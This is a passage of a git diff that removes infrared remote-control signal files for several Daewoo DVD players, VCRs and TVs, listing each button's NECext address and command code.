-protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: status -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 24 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir deleted file mode 100644 index 13730d9eb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0/10 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 90 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 91 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 92 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 93 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 94 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 95 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 96 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 97 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 98 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 99 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9A 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9B 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9D 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9E 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 9F 00 00 00 -# -name: FAST_REV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A0 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A1 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A2 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A3 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A4 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A5 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A6 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A7 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A8 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: A9 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AA 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AB 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AD 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AE 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 15 00 00 00 -command: AF 00 00 00 -# -name: TITLE/PBC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B0 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B1 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B3 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B4 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B5 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B6 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B7 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B8 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 15 00 00 00 -command: B9 00 00 00 -# -name: CHANNEL -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BA 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BB 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BC 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BD 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BE 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: BF 00 00 00 -# -name: V-MODE -type: parsed -protocol: NECext -address: 15 00 00 00 -command: C0 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: C1 00 00 00 -# -name: FN1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: C2 00 00 00 -# -name: FN2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: C3 00 00 00 -# -name: FN3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: C4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir deleted file mode 100644 index fc72d30f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: d4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0B 00 00 00 -# -name: aux -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0C 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: ffwd -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: rew -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: rec -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: slow -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: d3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 14 00 00 00 -# -name: Power -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: prup -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: prdown -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: c+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 19 00 00 00 -# -name: d1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: v- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: d2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: v+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: c- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: shuttle+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 25 00 00 00 -# -name: ok -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: shuttle- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 2D 00 00 00 -# -name: b- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: b+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: p -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 39 00 00 00 -# -name: hi-rew -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir deleted file mode 100644 index c13e759cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: RESUME -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: KEY_1/ALL -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 42 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 43 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: VOCAL-ASSIST -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 47 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir deleted file mode 100644 index c8ab3dd21..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: sleep -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: recall -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: Next -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: Prev -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: down -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: center -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: --- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 25 00 00 00 -# -name: Normal--Ok -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: skip -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: move -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 33 00 00 00 -# -name: delete -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: mode -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 48 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir deleted file mode 100644 index eaec8a678..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: GROMKO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: TIHO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: PRUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: PRDOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: NORMAL/OK -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 27 00 00 00 -# -name: SKIP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 33 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir deleted file mode 100644 index 6df48c7b9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: CH_DOWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir deleted file mode 100644 index f1bd85fd9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 13 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 14 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 15 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 16 00 00 00 -# -name: CH+ -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 17 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 18 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1A 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir deleted file mode 100644 index 85e06a01c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 09 00 00 00 -# -name: fi -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0A 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0D 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0E 00 00 00 -# -name: ffwd -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 0F 00 00 00 -# -name: rew -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 10 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 11 00 00 00 -# -name: rec -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 12 00 00 00 -# -name: frame -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 13 00 00 00 -# -name: power -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 15 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 16 00 00 00 -# -name: pr+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 17 00 00 00 -# -name: pr- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 18 00 00 00 -# -name: A.SEL -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1A 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1B 00 00 00 -# -name: T.R -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1C 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1D 00 00 00 -# -name: PAL/SEC -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 1F 00 00 00 -# -name: eject -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 21 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 22 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 29 00 00 00 -# -name: left -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 31 00 00 00 -# -name: index+ -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 33 00 00 00 -# -name: right -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 35 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 36 00 00 00 -# -name: 00:00 -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 37 00 00 00 -# -name: index- -type: parsed -protocol: NECext -address: 15 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir deleted file mode 100644 index ce851aefc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: +CH -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 01 00 00 00 -# -name: -CH -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 31 00 00 00 -command: 0E 00 00 00 -# -name: KEY_8 -type: 